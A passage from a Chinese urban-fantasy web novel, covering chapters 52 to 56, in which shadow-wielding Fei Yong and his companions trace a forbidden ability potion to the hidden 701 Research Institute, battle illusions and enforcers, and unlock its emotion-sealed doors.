苏清月这时也带着夏艳玲赶到,她看到费勇手臂上若隐若现的黑色纹路,眉头瞬间蹙起:“你的能量又开始不稳定了,那药剂的副作用可能在发作。”
提到药剂,费勇才想起那瓶“禁忌”药剂的事。他转身看向药圃深处,刚才被冲击波掀翻的药柜残骸旁,苏清月正蹲在地上,用藤蔓小心翼翼地收集着那些深紫色的药剂残留,动作带着一种近乎虔诚的谨慎。
“那到底是什么药剂?”费勇走过去问道。
苏清月的动作顿了顿,像是做了极大的心理斗争,才缓缓开口:“这是‘异能增幅剂’的改良版,我爷爷留下的笔记里记载过。”她从白大褂口袋里掏出一个泛黄的笔记本,翻开其中一页,上面画着与药剂标签相同的符号,“你看这个纹路,是不是和你影子里的金色印记很像?”
费勇凑近一看,心脏猛地一跳。笔记本上的符号由无数细小的暗影能量流构成,与他影子深处那道金色纹路几乎一模一样,只是方向完全相反,像是一枚硬币的正反面。
“这符号……”
“是‘本源钥匙’。”苏清月的声音带着一丝颤抖,“我爷爷说,十年前那场‘异能觉醒潮’不是意外,是有人用这种药剂强行激活了普通人的异能基因。代价是……七成觉醒者会在三个月内能量暴走,化作灰烬。”
夏艳玲怀里的布娃娃突然剧烈抖动起来,娃娃的红眼睛投射出模糊的画面:无数人浑身燃烧着异能火焰,在街道上痛苦地嘶吼,他们的影子却在地面扭曲成各种狰狞的形状。小姑娘吓得抱紧娃娃,声音带着哭腔:“玲玲见过这个……梦里有好多火人……”
费勇的瞳孔骤然收缩。夏艳玲的梦境往往是十年前真相的碎片,这意味着苏清月说的都是真的。他突然想起自己父母失踪的时间,正好是觉醒潮爆发后的第三个月。
“你家族的事……”费勇看向苏清月。
“我爷爷是研究这种药剂的核心成员之一。”苏清月的指尖划过笔记本上的血迹——那是她家族被灭门时溅上的,“他发现药剂的最终配方需要‘影石’作为稳定剂,想阻止裁决会的计划,结果被灭口了。青禾堂的秦伯是我爷爷的学生,当年拼死才保住这本笔记。”
林悦突然“啊”了一声,像是想起了什么:“我爸的日记里提过类似的东西!”她连忙从随身的警徽盒里抽出一张折叠的泛黄纸页,“他说701研究所当年在秘密研究‘本源催化剂’,能唤醒潜藏的异能本源,代价是可能永远失去控制。”
费勇接过那张纸页,上面的字迹因年代久远有些模糊,但“影石阵”“能量融合”“禁忌”这几个词格外清晰。更让他震惊的是,纸页边缘画着一个简易的地图,标注着研究所的位置在雾隐山深处——和他之前从老鬼那里得到的情报完全吻合。
“701研究所……”费勇喃喃道,“看来这里藏着十年前的所有秘密。”
就在这时,他的影子突然不受控制地延伸,像有了自己的意识般缠向苏清月手中的药剂残留。那些深紫色的液体被影子接触的瞬间,竟化作金色的能量流,顺着影子钻进费勇的体内。
“小心!”苏清月想阻止已经来不及。
费勇只觉得一股暖流涌遍全身,影子里的金色纹路突然变得无比清晰,像是在欢呼雀跃。他能感觉到体内的暗影能量变得更加精纯,之前吞噬基因的特性被放大了十倍,甚至能隐约感知到周围五十米内所有生物的异能波动——这是能力的二次进阶!
“这……这怎么可能?”苏清月看着笔记本上的记载,满脸不可思议,“笔记里说,只有体内有‘暗影本源’的人才能安全吸收药剂,难道……”
“难道什么?”费勇追问。
“难道你是‘本源容器’?”苏清月的声音带着难以置信的颤抖,“我爷爷说,当年研究药剂时,曾预言会出现一个能完美掌控暗影本源的人,既能激活药剂的力量,又不会被反噬……”
话音未落,药圃入口突然传来秦伯的咳嗽声。老人拄着拐杖站在那里,白胡子上还沾着药粉,眼神却异常锐利:“清月,有些事不该说的就别说。”
费勇注意到,秦伯的拐杖顶端镶嵌着一块黑色的石头,在昏暗的光线下闪烁着与影石相似的光泽。刚才药剂爆发时,这块石头曾微微发烫。
“秦伯也知道药剂的事?”费勇突然明白,青禾堂里藏着的秘密远比他想象的多。
秦伯没有回答,只是走到药剂残留旁,用拐杖轻轻一点,地面突然裂开一道缝隙,将那些深紫色的液体全部吞噬。“这药剂不该重现于世,”老人的声音带着一种沉重的沧桑,“十年前的灾难已经夺走了太多人,不能再重蹈覆辙。”
费勇的影子却在这时剧烈波动起来,像是在**秦伯的话。他能感觉到影子在渴望更多的药剂,渴望去701研究所找到完整的配方——这种渴望强烈到让他几乎无法控制。
“你看,”苏清月苦笑一声,指了指费勇不受控制的影子,“药剂已经在影响他的心智了。这就是它最可怕的地方,会放大使用者的欲望,直
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到被本源能量吞噬。”
夏艳玲突然把布娃娃塞进费勇怀里,娃娃的红眼睛亮得惊人:“娃娃说,让它看着你。”布娃娃接触到费勇影子的瞬间,发出一道柔和的白光,那股强烈的渴望竟真的减弱了几分。
费勇握紧布娃娃,突然想起刚才鳞片带来的画面:“不管这药剂是什么,701研究所我必须去。血手和裁决会都在找那里的配方,我们不能让他们得逞。”
林悦掏出配枪检查了一下**:“我跟你去。特调科早就想端掉701研究所的残余势力,正好顺藤摸瓜揪出裁决会的老巢。”
苏清月合上笔记本:“我也去。只有我能解读爷爷留下的笔记,或许能找到中和药剂副作用的方法。”
秦伯看着三个年轻人坚定的眼神,叹了口气,从怀里掏出一张折叠的羊皮纸:“这是701研究所的详细地图,比老鬼给你的那份全。记住,那里的精神污染很严重,进去后一定要紧跟着玲玲,她的情绪核心能净化污染。”
费勇接过地图的瞬间,影子突然在地面投射出一个清晰的图案——正是701研究所核心实验室的布局,与地图上的标注分毫不差。
“看来你的影子比你更急着去那里。”林悦挑眉,语气里带着几分调侃,试图缓解沉重的气氛。
费勇没有笑。他能感觉到,影子里的金色纹路正在与地图产生共鸣,仿佛那里有什么东西在呼唤着他。而那股呼唤的源头,隐约与父亲的气息重叠。
“什么时候出发?”费勇问道,眼神已经变得无比坚定。
“天亮就走。”秦伯从药箱里拿出几瓶绿色药剂递给他们,“这是抗污染的,提前半小时喝下。记住,到了研究所,万事小心,尤其是那些标着‘禁忌’的实验室,里面的东西比血手的异能还危险。”
夏艳玲突然指着地图上的一个角落:“娃娃说,这里有光。”那里标注着“情绪共鸣室”,正是需要她的情绪核心才能打开的地方。
费勇把布娃娃还给夏艳玲,指尖无意间触碰到娃娃的影子,突然复制到一股温暖而纯净的能量——那是夏艳玲的情绪具象化能力,时效竟长达15分钟,比之前复制任何异能都要持久。
“看来我们的队伍越来越强了。”费勇的嘴角终于露出一丝笑容。
苏清月看着他手臂上逐渐稳定的黑色纹路,轻声道:“别高兴太早,药剂的副作用只是暂时被压制了。等我们从研究所回来,可能要面对更麻烦的情况。”
林悦拍了拍她的肩膀:“想那么多干嘛?兵来将挡,水来土掩。再说了,我们现在可是有‘本源容器’和‘情绪核心’的强强组合,还怕那些牛鬼蛇神?”
费勇的影子在地面轻轻摇曳,像是在赞同她的话。但他知道,前往701研究所的路绝不会平坦,裁决会和基因猎人肯定已经在那里布下了天罗地网,而那瓶禁忌药剂的真相,或许比所有敌人加起来都要危险。
第53章:破晓的情报网
青禾堂的药香还混着淡淡的硝烟味,秦伯刚用藤蔓修补好被**震裂的窗棂,老鬼就像片枯叶般从檐角翻了进来,落地时带起的风卷走了几片药渣。他摘下沾着露水的帽檐,露出满是皱纹的脸,唯独那双眼睛亮得惊人,直直射向费勇。
“小家伙,你影子里的纹路,亮得快遮不住了。”老鬼嘿嘿一笑,从怀里掏出个用油布裹着的物件,层层解开——竟是半张泛黄的兽皮地图,边缘还沾着暗红色的印记,看着像干涸的血。“破晓的人在雾隐山摸到了701研究所的底,这是坐标。”
费勇的影子在脚边轻轻震颤,地图上那些歪歪扭扭的线条,竟与他影子深处的金色纹路产生了共鸣。他指尖刚触碰到兽皮,就感觉一股熟悉的能量顺着手臂爬上来,与体内残留的药剂能量撞在一起,激得他打了个寒颤。
“裁决会的审判长已经带着执法队进山了,”老鬼的语气难得正经,“他们的目标是研究所的‘本源催化剂’完整配方,据说能批量复制异能,还能……”他顿了顿,看了眼夏艳玲,“……唤醒沉睡的异能核心。”
夏艳玲怀里的布娃娃突然剧烈晃动,娃娃肚子上绣着的太阳图案亮起微光,映得她瞳孔发亮:“娃娃说,那里有妈妈的味道。”小姑娘说话时带着点奶音,却让在场的人都心头一紧——她的“妈妈”,正是十年前牺牲的初代情绪系异能者。
林悦突然拍了下桌子,警徽在灯下闪了闪:“我就说裁决会最近动作反常,原来是冲着研究所来的。血手那伙基因猎人,十有**是裁决会放出来的诱饵,想趁机搅浑水。”她指尖的电流噼啪作响,在桌面上灼出几个小黑点,“我申请特调科支援,再调两架无人机侦查地形。”
“别白费功夫。”老鬼摇头,从袖中摸出个巴掌大的金属球,往地上一抛,球体展开成个全息投影——雾隐山的三维模型在半空中旋转,山体上布满了红色的波纹,“研究所周围有‘精神干扰场’,电子设备进去就失灵,当年701的人就是靠这个挡住了大半追兵。”
苏清月突然指着模型上的一处峡谷:“这里的能量波动很奇怪,像是……生命能量和暗影能量的混合体?”她指尖划过投影,峡谷的纹路突然变亮,与她药圃里那株变异藤蔓的能量轨迹几乎一致。“我爷爷的笔记里提过,701研究过‘能量共生’,难道是真的?”
费勇没说话,只是盯着地图上标注“核心实验室”的位置。那里的纹路扭曲成个螺旋状,像极了他影子里那道还没完全亮起的印记。他能感觉到,有什么东西在那里等着他,既危险又充满诱惑,就像之前那瓶禁忌药剂。
“老鬼,”费勇突然开口,声音比平时沉了些,“破晓的人为什么突然把情报给我们?”他记得秦伯说过,破晓行事向来隐秘,从不轻易暴露行踪。
老鬼的眼神闪了闪,从怀里掏出个小小的青铜吊坠,上面刻着与费勇影子里相同的符号:“这是‘灯塔’让我交给你的。他说,等你能让影子在白天显形时,就去研究所的‘共鸣室’,那里有关于你父母的真相。”
吊坠刚碰到费勇的手,就化作一道金光钻进他的影子里。原本模糊的螺旋印记瞬间清晰了几分,周围还浮现出几个小字——“影石共鸣点”。
“灯塔……是破晓的首领?”林悦皱眉,特调科的档案里,关于破晓首领的记录只有代号,“他怎么知道费勇的情况?”
老鬼没直接回答,只是拍了拍夏艳玲的头:“小姑娘,还记得你梦里那扇发光的门吗?”夏艳玲点头,抱着布娃娃往费勇身边缩了缩。“那就是研究所的大门,只有你的情绪核心能打开。”他顿了顿,语气郑重,“进去后别乱碰东西,尤其是标着‘实验体’的培养舱,里面的东西……比血手还难缠。”
苏清月突然想起什么,转身从药柜最底层翻出个木盒,打开后里面是四支淡绿色的药剂:“这是‘清心剂’,能暂时抵抗精神干扰,我按爷爷的配方改良过,时效大概两小时。”她把药剂分给众人,最后一支递给夏艳玲时,
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特意多叮嘱了句,“觉得头晕就告诉我,别硬撑。”
费勇捏着那支药剂,瓶身冰凉,却让他想起刚才老鬼说的话。白天显形的影子……难道他的能力还能再进化?他下意识看了眼窗外,天快亮了,第一缕晨光正爬过屋檐,他的影子在地上缩成一团,却比平时凝实了几分。
“什么时候出发?”林悦已经换上了便于行动的战术服,腰间别着特制的***——这是她能想到唯一可能不受精神干扰的武器。
“等雾最浓的时候。”老鬼收起全息投影,“凌晨四点,我在山脚下的老猎户家等你们。记住,千万别走东边的山脊,那里有裁决会的埋伏,走西边的溪流,水脉能削弱精神干扰。”
他临走前又看了费勇一眼,眼神复杂:“小家伙,影子变强了是好事,但别被它吞噬了心智。当年701就有异能者被自己的能力反控,变成了……怪物。”
老鬼走后,青禾堂里安静了好一会儿。夏艳玲突然举起布娃娃,娃娃的红眼睛对着费勇:“娃娃说,影子在高兴。”费勇低头,果然看到自己的影子在地上轻轻起伏,像在呼吸。
苏清月把背包里的急救包检查了一遍,又塞进几包种子——那是她的备用武器,必要时能催生成藤蔓盾。“雾隐山的植物变异得很厉害,说不定能派上用场。”
林悦调试着通讯器,虽然知道大概率没用,还是固执地缠了层防磁贴:“不管怎么样,保持警惕。裁决会的审判长可不是血手那种货色,据说他们的‘绝对裁决’能直接压制异能。”
费勇摸着影子里那个清晰了几分的螺旋印记,突然有种预感——这次雾隐山之行,会揭开很多秘密,但也可能……让他们面对最不想看到的真相。他看了眼身边的三人,苏清月的冷静,林悦的果决,夏艳玲的纯粹,像三道光,让他没那么害怕影子里潜藏的黑暗。
“准备出发。”费勇站起身,影子在晨光中微微舒展,竟比刚才又凝实了些,“去看看701研究所里,到底藏着什么。”
第54章:雾隐山的迷雾
老猎户家的煤油灯忽明忽灭,费勇将最后一口清心剂灌进喉咙,一股清凉的薄荷味顺着食道往下滑,却压不住影子里翻涌的能量。窗外的雾浓得像化不开的牛奶,连手电筒的光束都只能穿透半米,山风卷着树影撞在窗纸上,活像有人在用指甲轻轻刮擦。
“记住,沿着溪流走,水里的能量场能中和精神污染。”老鬼往费勇手里塞了块莹白的石头,表面刻着与影石相似的纹路,“这是‘醒神石’,感觉到不对劲就捏碎它。”他又摸出个鼓鼓囊囊的布包递给苏清月,“里面是驱虫粉和急救草药,雾隐山的蚊子能把异能者的血吸干。”
夏艳玲抱着布娃娃缩在角落,娃娃的红眼睛在黑暗中亮得诡异。小姑娘突然扯了扯费勇的衣角,声音细若蚊蚋:“水里……有东西在看我们。”
费勇的影子瞬间绷紧,顺着门缝探出去。溪边的雾气里,果然有几个扭曲的黑影蹲在石头上,轮廓像人却长着节肢,正对着屋子的方向微微晃动。他刚想凝聚影刃,那些黑影就“噗”地化作水汽,消失得无影无踪。
“是精神污染形成的幻像。”苏清月迅速反应过来,将清心剂的剂量又加了半成,“还没进山就这么厉害,看来老鬼说的没错。”
林悦已经检查完装备,战术靴在泥地上碾出深深的印子:“别管什么幻像,进去找到研究所再说。特调科的后援两小时后到山外待命,我们争取在裁决会之前拿到配方。”她摸了摸腰间的***,枪身缠着浸过盐水的布条——据说能增强电流对精神体的杀伤力。
四人钻进浓雾时,费勇特意让影子缠上夏艳玲的脚踝。小姑娘的体温比常人低些,影子接触到她的瞬间,竟感觉到一股微弱的暖意,像揣着个小小的暖炉。夏艳玲似乎很喜欢这种接触,抿着嘴偷偷笑了,布娃娃的太阳图案也跟着亮了亮。
溪边的路比想象中难走,水下的鹅卵石长满了滑腻的青苔,林悦走在最前面,每一步都踩得水花四溅,电流顺着靴底渗入水中,激起一圈圈细小的白泡:“这水有问题,导电率比普通溪水高三倍。”
话音刚落,浓雾里突然传来“咔嚓”一声脆响,像是骨头被捏碎的声音。费勇的影子瞬间铺开成盾,将三人护在中间——雾中缓缓走出个穿警服的身影,半边脸被炸得血肉模糊,正是林悦父亲牺牲时的模样。
“小悦,你怎么才来?”虚影的声音带着血沫,警徽在雾中闪着冷光,“爸爸等你很久了……”
林悦的瞳孔骤然收缩,指尖的电流不受控制地暴涨,“噼啪”一声劈在旁边的树干上,焦黑的木屑飞溅开来。她的呼吸变得粗重,战术靴在石头上碾出裂痕:“你不是我爸!他牺牲的时候……眼睛是闭着的!”
虚影突然咧嘴笑了,被炸烂的半边脸簌簌掉着肉渣:“可你后悔啊,后悔那天没跟他一起出任务,后悔连他最后一面都没见到……”
“闭嘴!”林悦的电流突然失控,在身前织成一张电网,溪边的雾气被电得滋滋作响,竟露出个两米宽的缺口。但更多的雾气立刻涌了上来,这次幻像变成了十几个穿着裁决会制服的执法者,举着异能抑制器一步步逼近。
“林悦!清醒点!”费勇迅速复制了苏清月的藤蔓异能,影子化作绿色的绳索缠住她的手腕。清心剂的效果在剧烈情绪下迅速流失,林悦的额角已经渗出冷汗,电流正顺着血管往心脏窜。
苏清月趁机将半支清心剂灌进她嘴里,同时催生藤蔓在周围织成绿色的屏障:“是精神污染在放大她的愧疚感!玲玲,想想开心的事!”
夏艳玲被吓得脸色发白,却还是抱紧布娃娃往前凑了凑。娃娃的红眼睛突然射出两道白光,照在林悦脸上时,那些执法者的幻像像被戳破的气球般爆开:“妈妈说,眼泪是没用的,要把坏人打跑!”
林悦猛地晃了晃脑袋,电流终于收敛了些。她看着被自己劈断的树干,耳根泛起红潮:“谢了……刚才有点失控。”
费勇刚想说什么,影子突然剧烈抽搐起来。浓雾里浮现出两个模糊的身影,背对着他们站在溪边,身形与他父母惊人地相似。男人穿着件黑色风衣,女人的长发在雾中飘拂,两人似乎在说着什么,却听不清具体内容。
“爸?妈?”费勇下意识往前走了两步,影子不受控制地往虚影那边窜。他能感觉到一股强烈的吸引力,仿佛只要穿过那层雾,就能抓住十年前失去的一切。
“别过去!”苏清月一把拉住他,指尖搭在他的脉搏上——心跳快得像要炸开,暗影能量在血管里疯狂冲撞,“是幻像!它在利用你的执念!”
虚影这时缓缓转过身来,脸却变成了裁决会审判长的模样,青铜面具在雾中闪着冷光:“费勇,想知道你父母在哪吗?来核心实验室找我……”
“找死!”费勇的愤怒瞬间压过了执念,影子暴涨成巨大的影刃,带着破空声劈向虚影。刀刃穿过雾中身影的刹那,虚影突然化作无数只黑色的蝴蝶,扑棱棱飞进他的影子里。
剧痛猛地从太阳穴炸开,费勇感觉影子像被点燃了般灼烧起来,那些蝴蝶在影子里疯狂冲撞,试图吞噬金色的纹路。他突然想起老鬼的话,狠狠捏碎了掌心的醒神石——清凉的能量顺着手臂蔓延,蝴蝶瞬间化作黑烟,被影子里的金色纹路吸收殆尽。
“你的影子……”苏清月惊讶地睁大了眼。刚才吸收幻像的瞬间,费勇影子里的螺旋印记亮了亮,周围的雾气竟自动退开了半米,露出清澈的溪流和光滑的鹅卵石。
费勇这才发现,自己的影子在白天竟清晰了许多,边缘泛着淡淡的金光。他能感觉到周围百米内所有的能量波动,甚至能分辨出哪些是真实的生物,哪些是精神污染形成的幻像。
“是影石的力量。”费勇握紧拳头,刚才那股灼烧感
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消失后,影子变得前所未有的听话,“它能吞噬精神污染。”
林悦这时突然指着上游:“你们看,那是什么?”
浓雾退去的地方,溪边的岩石上刻着密密麻麻的符号,与苏清月笔记本上的“本源钥匙”图案如出一辙。符号中间嵌着块黑色的石头,正散发着与费勇影子同源的能量——是第三块影石的碎片!
夏艳玲的布娃娃突然跳进水里,拖着影石碎片往岸边漂。小姑娘伸手去捞的时候,碎片突然爆发出刺眼的白光,将四人笼罩其中。
费勇的脑海中瞬间闪过无数画面:701研究所的科学家在实验室里忙碌,父亲和灯塔站在影石阵前对话,裁决会的审判长举着配方狂笑……最后定格的,是研究所大门缓缓关闭的瞬间,门楣上刻着四个扭曲的字——情绪之锁。
白光散去时,影石碎片已经融入费勇的影子。螺旋印记彻底亮起,与另外两块碎片形成稳定的三角,他的“影遁”范围直接扩展到百米,复制异能的时效也延长到了十五分钟。
“看来我们走对路了。”林悦看着前方雾气自动分开的通道,电流在指尖轻快地跳跃,“影石在给我们引路。”
苏清月却看着那些符号皱起眉:“这些符号在吸收生命能量,溪边的植物都枯萎了。”她蹲下身,指尖抚过岩石,藤蔓顺着指缝钻出,却在接触符号的瞬间迅速枯萎,“是裁决会的人干的,他们在强化精神污染。”
夏艳玲突然指着通道尽头:“娃娃说,门在那里。”
浓雾深处,隐约能看到一道金属门的轮廓,门楣上的符号在雾中闪烁,与刚才脑海中看到的“情绪之锁”完全一致。而门的周围,影影绰绰站着十几个身影,正缓缓朝他们这边看来——是裁决会的执法者,还有几个穿着白大褂的人,手里捧着密封的试管,里面晃着与禁忌药剂相似的紫色液体。
林悦的电流瞬间凝聚成矛:“看来想安安静静进门是不可能了。”
费勇的影子在地面铺开,百米内所有执法者的位置都清晰地映在影子里,甚至能看到他们腰间的异能抑制器:“左边七个是量产型,右边那三个……能量波动很奇怪,像是注射了催化剂。”
苏清月将最后几支清心剂分发给众人,藤蔓在她身后织成绿色的巨网:“玲玲,等会儿紧跟费勇,你的情绪核心是关键。”
夏艳玲点点头,把布娃娃举到胸前,娃娃的红眼睛亮得像两颗小太阳:“娃娃说,它准备好了。”
费勇深吸一口气,影子里的三块影石碎片同时发亮,周围的雾气被彻底驱散,露出执法者们惊愕的脸。他能感觉到体内的暗影能量前所未有的充盈,仿佛只要伸手,就能将整个雾隐山都拖进影界。
“准备好了吗?”费勇的嘴角勾起一抹冷冽的笑。
林悦的雷矛已经蓄势待发,电流在空气中炸出噼啪的脆响:“早就等不及了。”
第55章:研究所的大门
裁决会执法者的惨叫声还在雾中回荡,费勇的影刃穿透最后一个注射了催化剂的白大褂时,刀刃上沾着的紫色药剂突然“滋滋”冒烟,竟在影子表面蚀出细小的孔洞。他迅速收回影子,看着那些孔洞瞬间愈合,眉头忍不住蹙起——这药剂的腐蚀性,比在青禾堂见到的强太多。
“别碰那些试管!”苏清月的藤蔓及时卷走地上滚落的药剂瓶,绿色的藤叶接触到液体的瞬间就化作焦黑的粉末,“里面加了基因猎人的‘噬能病毒’,会啃食异能者的能量核心。”她从背包里翻出特制的密封袋,将破碎的玻璃片小心翼翼地收进去,指尖因用力而泛白,“爷爷的笔记里提过这种病毒,十年前就是用它来控制失控的觉醒者。”
林悦踩着执法者的尸体走到金属门前,电流在指尖凝成细针,轻轻戳向门楣上的符号。符号被触碰的瞬间亮起红光,像块烧红的烙铁,烫得她猛地缩回手:“这门是活的?还会发烫。”她甩了甩指尖,上面留着个淡淡的红印,“而且这些符文在动,刚才明明是直线,现在变成波浪形了。”
费勇凑近观察,影子顺着门缝钻进去,却被一股无形的力量弹了回来。他能感觉到门后涌动着磅礴的能量,像是有片压缩的星云在缓缓旋转。那些符文果然在缓慢移动,组成的图案时而像哭泣的人脸,时而像燃烧的火焰,最后定格成四个凹槽,形状恰好能容纳拳头大小的能量体。
“是‘情绪锁’。”苏清月突然想起笔记本里的插图,“我爷爷画过类似的机关,需要用四种情绪能量填满凹槽,顺序不能错。”她指着最左边的凹槽,里面刻着团跳动的火焰,“这是愤怒,对应红色能量;第二个是水滴,代表悲伤,需要蓝色能量;第三个……”她顿了顿,看着那个扭曲的黑色漩涡,“是恐惧,要用黑色能量激活;最后这个太阳形状的,应该是喜悦,需要金色能量。”
夏艳玲抱着布娃娃摸了摸太阳凹槽,指尖刚触碰到金属表面,凹槽就亮起微弱的金光,娃娃的红眼睛也跟着闪烁:“这个……玲玲会。”小姑娘踮起脚尖,把布娃娃贴在凹槽上,金色的光芒立刻浓郁了几分,却在即将填满时突然黯淡下去。
“还差了点什么。”费勇若有所思地看着娃娃肚子上的太阳图案,突然明白过来,“需要更纯粹的喜悦,不是模拟出来的。玲玲,想想你最高兴的事。”
夏艳玲歪着头想了半天,小脸上满是困惑,最后摇了摇头:“玲玲不记得了……妈妈走了以后,就没有高兴的事了。”布娃娃的光芒也跟着黯淡下去,像是在呼应她的情绪。
林悦突然咳嗽两声,从口袋里掏出颗水果糖,剥开糖纸塞进夏艳玲手里:“尝尝这个,橘子味的,我小时候不开心就吃这个。”她自己也剥了一颗扔进嘴里,酸得皱起眉头,电流却在指尖轻快地跳跃,“其实我也不知道什么是纯粹的喜悦,不过每次破了大案,咬这糖的时候,感觉电流都甜丝丝的。”
夏艳玲把糖放进嘴里,眼睛瞬间瞪圆了,小腮帮鼓鼓地嚼着,含糊不清地说:“甜的!”布娃娃的太阳图案突然爆发出刺眼的金光,她连忙把娃娃按在凹槽上,金色的能量像流水般注入,将太阳形状的符号填得满满当当。门身轻微震动了一下,发出“咔哒”的轻响,像是有个齿轮开始转动。
“成了!”林悦精神一振,走到愤怒凹槽前,深吸一口气,脑海里浮现出父亲牺牲的画面,还有裁决会审判长那张戴着青铜面具的脸。愤怒像野草般在胸腔里疯长,电流瞬间暴涨,在她周身织成红色的雷网。她猛地一拳砸向凹槽,红色的能量如同岩浆般喷涌而出,将火焰图案彻底激活。
“第二个我来。”苏清月的声音带着不易察觉的颤抖。她闭上眼睛,脑海中闪过家族被灭门的夜晚,爷爷倒在血泊里的样子,还有那些燃烧的古籍和药剂。悲伤像潮水般将她淹没,身后的藤蔓突然疯狂枯萎,蓝色的能量顺着指尖流淌而出,注入水滴形状的凹槽。她的眼泪落在金属门上,瞬间被符号吸收,门身又震动了一下,这次的声音更响亮。
只剩下最后一个恐惧凹槽。费勇看着那个扭曲的黑色漩涡,影子突然不受控制地颤抖起来。他能感觉到门后传来的吸引力,像是要把他的灵魂都吸进去。十年前父母失踪的画面、被裁决会追杀的夜晚、影子失控差点吞噬林悦的瞬间……无数恐惧的记忆涌上来,压得他几乎喘不过气。
“费勇?”林悦察觉到他的异样,电流在掌心凝成护盾,随时准备支援,“不行就换我来,我也有害怕的事。”
费勇摇了摇头,影子突然暴涨,将他整个人包裹其中。他主动沉入那些恐惧的记忆,任由最深处的寒意蔓延到指尖。当他的拳头触碰到黑色凹槽时,影子化作粘稠的墨汁,顺着漩涡流淌进去。凹槽被填满的瞬间,门楣上的符文突然全部亮起,组成一道旋转的光轮,发出低沉的嗡鸣。
“还差最后一步!”苏清月的声音带着激动,“把能量同时注入,让四种情绪平衡!”
林悦的红色电流、苏清月的蓝色藤蔓、费勇的黑色影子、夏艳玲的金色光芒,在同一时间涌向各自的凹槽。四种能量在门楣上交汇,形成一道彩虹般的光带,顺着符文流淌而下,所过之处,金属表面的锈迹层层剥落,露出下面银白色的光泽,竟
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像是用影石混合着某种未知金属铸造而成。
“咔嚓——轰隆!”
金属门缓缓向内打开,一股尘封已久的气息扑面而来,带着铁锈、药剂和淡淡的血腥味。门后的通道深不见底,墙壁上镶嵌着荧光石,照亮了地上散落的实验记录和骨骼标本,有些标本的胸腔里,还插着与影石相似的黑色碎片。
最让人震惊的是,门开的瞬间,一股纯粹的暗影能量从通道深处涌来,与费勇的影子产生剧烈共鸣。他的脑海中突然闪过清晰的画面:父亲穿着白大褂,站在巨大的影石阵前,身边站着个熟悉的身影——正是老鬼描述过的“灯塔”!两人似乎在争论着什么,父亲手里举着的配方纸被风吹起一角,上面的符号与本源催化剂的配方如出一辙。
“你父亲……”苏清月扶住摇摇欲坠的费勇,他的脸色苍白得像纸,影子却亮得惊人,金色的纹路如同活过来般在地面游走,“他果然来过这里。”
费勇晃了晃脑袋,试图抓住那些碎片化的画面,却只记得父亲最后看过来的眼神,充满了愧疚和决绝。他深吸一口气,压下翻涌的情绪,影子在通道里铺开,探查着前方的路况:“里面有三股能量波动,两股很弱,像是……实验体的残留意识,还有一股很强的,在最深处,和裁决会审判长的能量很像。”
林悦的电流在通道里炸出一串火花,照亮了墙壁上的抓痕——深深的沟壑里还嵌着碎肉,像是有人用指甲硬生生抠出来的:“看来老鬼说的没错,这里的实验体比血手难缠。”她从战术靴里抽出备用**,刀刃上缠着浸过清心剂的布条,“保持警惕,我们的清心剂不多了。”
夏艳玲突然指着通道深处,布娃娃的红眼睛亮得吓人:“里面……有好多人在哭。”小姑娘的声音带着哭腔,却还是紧紧抓着费勇的衣角,“他们说……冷。”
费勇的影子瞬间绷紧,将众人护在中间。他能感觉到那些哭泣声并非来自实体,而是残留在空气中的情绪碎片,被精神污染放大后,形成了类似怨灵的存在。他看了眼身边的三人,林悦的电流蓄势待发,苏清月的藤蔓织成防护网,夏艳玲虽然害怕,却没有松开他的衣角。
“走。”费勇的声音平静却坚定,影子在前方开路,将那些游荡的情绪碎片一一吞噬,“去看看里面到底藏着什么,也好给十年前的事,一个交代。”
通道深处的荧光石突然全部熄灭,只剩下夏艳玲的布娃娃散发着微弱的光芒,照亮了前方一扇更加巨大的金属门,上面刻着“核心实验室”的字样,门把手上,挂着半块破碎的警徽——正是林悦父亲当年佩戴的那一款。
第56章:本源催化剂的配方
核心实验室的门把手上,半块破碎的警徽在布娃娃的光芒下泛着冷光。林悦的指尖刚触碰到金属边缘,警徽突然化作一道蓝光钻进她的掌心,脑海中瞬间闪过父亲最后一次离家的画面——他也是这样攥着警徽,笑着说"等爸爸回来教你打靶"。
"这是……记忆碎片。"苏清月的藤蔓轻轻拂过林悦的手腕,绿色的光粒渗入皮肤,"701研究所的人擅长将记忆附着在物品上,这是他们传递情报的方式。"她的目光扫过实验室的门,突然被门楣上的刻字吸引,"快看,这里写着''能量共生实验区'',和我爷爷笔记里的最后一页完全吻合。"
费勇的影子顺着门缝探入,这次没有受到阻碍。他能感觉到实验室里弥漫着浓郁的能量,像是无数根琴弦在同时振动,其中最强烈的那道频率,与他影子里的影石碎片完美共振。他凝聚影刃轻轻一挑,门锁"咔哒"一声弹开,一股混合着臭氧与消毒水的气味扑面而来。
实验室比想象中整洁,银白色的仪器排列得整整齐齐,只是表面落满了厚厚的灰尘,像是被时间遗忘的角落。中央的操作台上,一台老式电脑的屏幕还亮着幽蓝的光,上面滚动着密密麻麻的公式,最后定格在一个复杂的图案上——由暗影、绿藤、雷电和金光组成的四象阵,与他们四人的异能恰好对应。
"这不是药剂配方。"苏清月快步走到电脑前,手指在布满灰尘的键盘上轻轻敲击,屏幕突然切换出三维模型,"这是个仪式阵法!你看这里的能量流向,暗影本源提供容器,生命能量维持稳定,雷霆之力作为催化剂,最后用情绪核心激活……"她的声音因震惊而发颤,"十年前的''觉醒潮'',根本不是意外,是有人强行启动了简化版的仪式,强行撕开了普通人与异能本源的连接!"
林悦凑过去看着模型里闪烁的红点,那些代表失控能量的标记密密麻麻,几乎覆盖了整个城市地图:"我爸的日记里写过,觉醒潮爆发时,最先失控的都是体质偏弱的人。原来不是体质问题,是简化仪式跳过了情绪核心这一步,没有缓冲直接激活!"她的电流在指尖噼里啪啦地炸响,键盘被震得跳起细小的灰尘,"裁决会这群疯子,为了研究异能,竟然拿全城人的命做实验!"
费勇的影子突然不受控制地缠上电脑主机,屏幕上的图案瞬间放大,四象阵的中心浮现出一个凹槽,形状与他影子里的影石碎片完全吻合。他能感觉到影石在疯狂共鸣,像是在催促他完成这个仪式。当他的指尖触碰到屏幕时,一行新的文字缓缓浮现:"影石阵为基,四象为引,缺一则能量暴走,玉石俱焚。"
"果然需要影石阵!"苏清月迅速翻到笔记本的最后一页,上面画着七个影石的位置分布图,"我爷爷标注过,影石阵是天然的能量容器,能中和仪式产生的副作用。十年前他们肯定没集齐影石,才导致那么多人失控。"她的指尖划过地图上被圈住的地点,"最后一块影石的位置……竟然在星海学院的图书馆!"
